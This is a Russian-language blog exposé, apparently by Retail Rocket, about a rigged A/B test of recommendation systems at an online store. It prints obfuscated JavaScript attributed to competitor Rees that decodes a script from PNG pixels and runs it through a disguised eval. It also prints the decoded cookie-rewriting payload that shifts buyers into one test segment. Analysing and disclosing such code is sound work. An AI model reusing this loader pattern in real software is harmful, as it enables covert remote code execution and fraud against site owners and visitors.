AB-тестирование — один из самых мощных и полезных инструментов управления продуктами, который позволяет оценить эффективность тех или иных решений по экономическим показателям в онлайн-бизнесе.
За пять лет работы мы провели огромное количество АБ-тестов, а потому прекрасно знаем, как сложно правильно проводить эксперименты и какие ошибки постоянно повторяются.
Несколько месяцев назад один из наших конкурентов начал делать что-то странное — предлагать нашим клиентам сравнение их рекомендательной системы с Retail Rocket через AB-тесты в формате «ставки» с обязательством заплатить 100 000 рублей в случае проигрыша.
Подобные истории для нас не редкость – за время существования компании нашу систему сравнивали практически со всеми существующими рекомендательными системами в России и за рубежом, и мы всегда показывали отличные результаты (ни в одном тесте мы не теряли в эффективности).
Первый тест с Рисом не заставил себя долго ждать, но в ходе теста мы столкнулись с довольно странными результатами, что привело к серьезному исследованию.
То, что мы обнаружили в итоге, нас настолько удивило, что мы хотим поделиться подробностями этого исследования и довести его результаты до сведения ИТ-сообщества и индустрии электронной коммерции в России.
AB-тестирование рекомендательных систем в интернет-магазине «Дочки и сыновья»
В течение нескольких месяцев интернет-магазин Daughters & Sons тестировал три рекомендательные системы: Retail Rocket, Rees и внутреннюю систему компании.Механика AB-тестирования: вся аудитория сайта случайным образом делится на три равные части, и каждая часть аудитории видит свою версию сайта.
Меняются только блоки персональных рекомендаций — в каждом сегменте показаны блоки, управляемые одной из рекомендательных систем:
В рамках теста измеряется конверсия каждого сегмента трафика, сравнивается с другими и на основании результатов принимается решение о том, какая система работает эффективнее.
Аудитория делится на клиенте с помощью JavaScript-кода, все пользователи получают идентификатор одного из трех тестовых сегментов, который сохраняется в cookie и затем передается в Google Analytics при каждом значимом действии на сайте.
Результаты теста на момент написания из Google Analytics – конверсия по сегментам
Сегмент А – система рекомендаций Daughters Sons
Сегмент Б – рекомендательная система Rees
Сегмент C – рекомендательная система Retail Rocket
Изменения конверсии относительно показателей внутренней рекомендательной системы «Дочки и сыновья»
Согласно этим данным, сегмент C (Retail Rocket) проигрывает, сегмент B (Rees) выигрывает. Особое внимание обратите на 27 мая, в этот день Retail Rocket показывает лучшие показатели — к этой детали мы еще вернемся.
В ходе тестирования команда инженеров Retail Rocket провела множество внутренних тестов, выявила несколько ошибок на сайте, исправила немало проблем с интеграцией, а также провела множество внутренних тестов на различных алгоритмах и их вариациях.
Все эти действия не принесли ощутимых изменений.
Визуальная оценка качества рекомендаций
В Retail Rocket есть несколько способов измерения эффективности и качества рекомендаций.Самый первый из них – это так называемая «экспертная оценка» (субъективная визуальная оценка «адекватности»).
Давайте рассмотрим примеры рекомендаций, генерируемых системами Retail Rocket и Rees:
Для кошачьих туалетов наша система рекомендует переноску для домашних животных и различные виды кошачьего корма, а система Rees рекомендует детское питание, чай и ректальный зонд для детей.
Подобных примеров для достаточно посещаемых продуктов (по которым быстро накапливается статистика) очень много (вот один из них).
отчеты путем визуальной оценки качества), и несмотря на то, что экспертная оценка напрямую не влияет на цифры, это простой и быстрый способ, служащий определенным индикатором качества рекомендательных систем.
Косвенная оценка качества рекомендаций
Нам показалось странным, что при такой визуальной составляющей цифры показывают результат не в нашу пользу, поэтому мы потратили много ресурсов на различные внутренние исследования причин.В первую очередь мы решили изучить аудиторию, которая взаимодействует с блоками товарных рекомендаций.
При нажатии на продукты в блоках рекомендаций Rees к URL-адресу добавляется следующий параметр:
Мы добавили аналогичный параметр в URL-адреса товаров из рекомендательных блоков Retail Rocket:
И мы построили в GA сегменты пользователей, которые кликали по блокам рекомендаций:
Первая гипотеза заключалась в том, что наша система хуже угадывает предпочтения пользователей и рекомендует менее релевантные продукты.
Если это правда, то наши блоки должны получать меньше кликов, чем рекомендательные блоки Риса, что опровергают данные Google Analytics — на виджетах мы получаем в 2,81 раза больше кликов:
Вторая гипотеза, которую мы рассмотрели: визуально хорошие рекомендации отвлекают людей от покупки и снижают конверсию.
Те.
привлекают их внимание, но отвлекают от покупок и не способствуют росту продаж.
В этом случае те, кто кликал по блокам рекомендаций Retail Rocket, будут конвертироваться хуже, чем те, кто кликал по блокам Rees. Но согласно Google Analytics, это не так; конверсия кликавших в блоки Retail Rocket значительно выше (на 37% по данным за 4 дня):
Таким образом, Retail Rocket гораздо чаще рекомендует актуальные для пользователя товары, пользователи чаще кликают на эти товары, а рекомендации положительно влияют на продажи.
Если проблем с теми, кто взаимодействует с рекомендациями нет, и с визуальной стороны рекомендации выглядят актуально, остается только посмотреть на тех, кто не кликает на рекомендации.
Исследование аудитории интернет-магазина
Когда мы начали исследовать этот сегмент аудитории, мы заметили два интересных факта:- В сегменте Rees на несколько процентов больше пользователей, чем в других сегментах, хотя настройки AB-теста предполагают равномерное распределение аудитории между рекомендательными системами.
- В сегменте «Риз» аудитория более лояльна; у него намного больше посетителей, которые заходят на сайт повторно.
Чтобы проверить правильность разделения трафика интернет-магазина на сегменты, мы самостоятельно протестировали сегментатор, используя код, который использовал сайт: параллельно с основным разделением мы начали сегментировать одну и ту же аудиторию — ошибка была минимальной:
- Сегмент 1: 63215 пользователей.
- Сегмент 2: 63 500 пользователей.
- Сегмент 3: 63686 пользователей.
распределение трафика в рамках AB-теста «Дочери и сыновья» содержит аномалию.
Наши разработчики подробно исследовали код сайта на наличие JS-ошибок и багов, которые могли бы повлиять на сегментацию, и не нашли ничего, что могло бы вызвать аномалию.
Логичным предположением было то, что пользователи смогут каким-то образом перемещаться между сегментами.
В нашей практике были случаи, когда пользователи меняли сегмент внутри теста, например, из-за неправильно установленного времени жизни cookie (в одном из магазинов cookie, в котором был сохранен идентификатор тестового сегмента AB, жил всего две недели, и если пользователь возвращался после этого времени, ему присваивалось случайное значение — то есть пользователь мог оказаться в другом сегменте теста).
Чтобы избежать подобных ситуаций, мы разработали чек-лист, в который включен пункт о необходимости следить за тем, чтобы пользователь не менял сегмент во время теста.
Для отслеживания таких ситуаций в Google Analytics есть инструмент «Воронки», позволяющий выделить пользователей, которые сначала были в одном сегменте, а затем перешли в другой.
Для анализа мы построили несколько таких сегментов в Google Analytics:
И в результате мы получили следующие цифры:
Эти данные ясно показывают, что в сегмент Rees переходит аномально большое количество пользователей от остальных.
И это точно не баг, иначе пользователи перемещались бы между всеми сегментами равномерно.
Второй вывод: эти пользователи делают много заказов.
*Интернет-магазин подтвердил, что это реальные заказы (почти все имеют статус «куплено») Основываясь на порядковом количестве пользователей, перешедших в сегмент Rees, мы изучили наши внутренние журналы сессий и выявили следующие закономерности:
- Практически все пользователи, перешедшие в сегмент «Ризы», добавили товары в корзину (т. е.
это более лояльная/конверсионная аудитория);
- Движения пользователей неравномерно распределены по часам, что указывает на то, что они инициируются вручную;
- Переход пользователей в сегмент Rees происходит в те дни, когда Retail Rocket начинает побеждать в AB-тесте:
Перемещение пользователей в сегмент Rees (часы сверху, дни слева)
Перемещение пользователей в сегмент Retail Rocket (часы сверху, дни слева) Из таблицы видно, что 25 и 26 мая движений почти нет, а 27 мая, когда система Retail Rocket начинает становиться положительной, движения начинаются снова.
И снова пользователи приходят, добавляют товары в корзину и вскоре превращаются в покупателей.
Проверка кода, работающего на сайте
Поскольку перемещение лояльных пользователей в сегмент Rees выглядело подозрительно, мы начали искать причину изменения пользовательского сегмента и изучать код. Мы тщательно исследовали, кто и как работает с файлами cookie, мог ли кто-то случайно сделать что-то, что привело к появлению таких ошибок, и не нашли ничего подозрительного.Оставалось два варианта: либо куки меняет сервер магазина Дочь Соночки и это не видно на клиенте, либо динамический код, который приходит с сервера по какому-то запросу.
При проверке динамического кода мы также искали функцию eval — специальную функцию javascript, способную выполнить любой текст, например отправленный с сервера, как код JavaScript, что в недобросовестных руках позволяет скрыть функциональность кода, но при этом в то же время дает полный доступ ко всему окружению сайта.
Во время проверки мы наткнулись на странный кусок кода в библиотеке Rees JS:
Кусок кода из библиотеки Rees JS
Весь код доступен по адресу связь .key: "markDMP", value: function(e) { var t = function(e) { return String.fromCharCode(e) }; if (e) for (var i in e) if (e.hasOwnProperty(i)) if (function(e) { return /\x61\x70\x69\x2E\x72\x65\x65\x73\x34\x36\x2E\x63\x6F\x6D/.
test(e) }(e[i])) { var n = function() { var n = document.createElement("canvas") , o = void 0 , s = t(67) , a = t(68) , u = l.default.get(s.toLowerCase() + "ity") || l.default.get(t(71) + "EO_" + a + "ELIVERY_" + s + "ITY_I" + a) , c = [s + "UR", s + "ITY", s + "ODE"]; if (n && n.getContext && u && !1 === g.default.isDebug()) { if (/^a:/.
test(u)) { var h = r.unserialize(u); if (!h || 464 === h[c.join("_")]) return "continue" } else if (3784 === u || 3577 === u) return "continue"; o = new Image, o.crossOrigin = "use-credentials", o.onload = function(e, r) { r.width = this.naturalWidth, r.height = this.naturalHeight; var i = r.getContext("2d"); i.drawImage(this, 0, 0); var n = i.getImageData(0, 0, this.naturalWidth, this.naturalHeight) , o = n.data , s = void 0 , a = void 0 , u = ""; for (s = 0, a = o.length; s < a; s++) if (!(s % 4 == 3 && s > 0)) { if (0 === o[s]) break; u += function(e) { return String.fromCharCode(~-e) }(o[s]) } try { window[t(101) + "val"](u) } catch (e) {} } .
bind(o, t, n), o.src = e[i] } }(); if ("continue" === n) continue } else { var o = document.createElement("img"); o.src = e[i], o.style.width = 0, o.style.height = 0, o.style.display = "none", o.style.position = "absolute", o.style.left = "-9999px", document.body.appendChild(o) } } }
Особенность этого фрагмента кода в том, что его функционал явно пытаются скрыть.
Из кода можно сделать несколько выводов:
- Этот кусок кода был написан специально для магазина ДочьСыночка, так как он тайно использует куки-файл под названием «city», принадлежащий магазину (в нем магазин хранит идентификатор региона пользователя)
- Код намеренно написан так, чтобы его было трудно читать и понимать (вместо текста используются числовые буквенные идентификаторы).
- Функционал кода специально скрыт от внешних разработчиков - код не работает при открытой консоли браузера и у посетителей сайта из Москвы (интернет-магазин должен знать, что он интегрирует в свой сайт, и какая строка кода за это отвечает).
за что, а тут сознательное сокрытие)
- Код предназначен для загрузки изображения с сервера Rees, декодирования текста из этого изображения и передачи текста в качестве входных данных наивно скрытой функции eval (window[t(101) + «val»](u))
- Все это указывает на возможность скрытного выполнения любого кода на стороне Риса.
Мы предполагаем, что как только эта информация будет опубликована, Рис удалит этот код, поэтому мы сохранили его с помощью двух внешних независимых сервисов: https://web.archive.org И https://www.runscope.com Отформатированная версия доступна для изучения по адресу связь .
Чтобы понять, что именно делает этот фрагмент, мы написали модуль, который эмулирует действия пользователя и логирует все запросы к серверу Rees. 25 и 26 мая ничего не произошло (это видно и из таблицы с данными о почасовом движении пользователей в сторону Риса), а 27 мая, когда по данным Google Analytics система Retail Rocket вышла положительной в AB тест, около 19:00 по мск пользователи снова начали переходить в сегмент Rees.
Перемещение пользователей в сегмент Rees (часы сверху, дни слева)
В то же время мы зафиксировали запросы к серверу Rees на картина в формате PNG (содержимое изображения можно посмотреть по адресу связь ).
Просто картинка недоступна (возвращается ошибка 404), но при передаче заголовка запроса на картинку в сессию пользователя Rees картинка становится доступной для скачивания:
Если на вход кода передается картинка, которую пытались закодировать/скрыть, для удобства мы ее вынесли в отдельности , мы получаем этот JS, который изменяет значение файла cookie, в котором хранится пользовательский сегмент теста AB: document.cookie="rr-VisitorSegment_Rec=3:2; domain=.
dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 +0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.
dochkisinochki.ru; path=/
Этот код явно изменяет два файла cookie, принадлежащие магазину, в которых хранится сегмент пользователя, на значение сегмента, равное сегменту Rees.
Мы уверены, что Риз скроет все следы этой атаки, поэтому изображение также было сохранено по просьбе независимой третьей стороны.
услуга .
Таким образом, код системы Rees перемещает пользователей, которые добавили товар в корзину и собираются оформить заказ, в ее сегмент. По данным, полученным с момента начала регистрации перемещений пользователей (1–28 мая), построенному на основе изначально выданного пользователям сегмента (то есть из этих данных были исключены все, кто впервые зашел на сайт до 1 мая).
), Retail Rocket уверенно побеждает в тесте.
а Рис снижает продажи в магазине:
Точное окно миграции лояльных пользователей интернет-магазина в сегмент Rees неизвестно, поэтому разница в эффективности гораздо больше.
Кроме того, мы видим в коде Риса признаки других атак на тест, например, при первом посещении сайта их система выполняет сопоставление файлов cookie с несколькими RTB-сетями.
Код синхронизации:
Сохраненный запрос можно просмотреть, пройдя по ссылке web.archive.org
Запросы на синхронизацию:
Это, как минимум, позволяет конкурентам интернет-магазина получить доступ к этим пользователям, а как максимум — ретаргетировать трафик из своего сегмента и перенаправлять трафик из других сегментов теста на конкурента, снижая конверсию.
Интересен тот факт, что эта атака Риса была поддержана активной пиар-кампанией в СМИ и социальных сетях:
Вместо заключения
За почти 5 лет работы мы впервые столкнулись с таким поведением.С сожалением приходится признать, что АБ-тесты можно проводить только при абсолютной уверенности в добросовестности всех его участников.
Мы считаем такие методы конкуренции несправедливыми и неприемлемыми; они наносят вред всему сообществу и подрывают доверие к устоявшейся деловой практике.
Сейчас мы активно работаем в правовом поле, чтобы наказать виновных и призвать сообщество делиться опытом решения подобных ситуаций.
Теги: #тестирование веб-сайтов #ab-тесты #системы рекомендаций #информационная безопасность #JavaScript #тестирование веб-сервисов
-
Оптимизация Градиентов В Photoshop
19 Oct, 24 -
Пауки В Банке
19 Oct, 24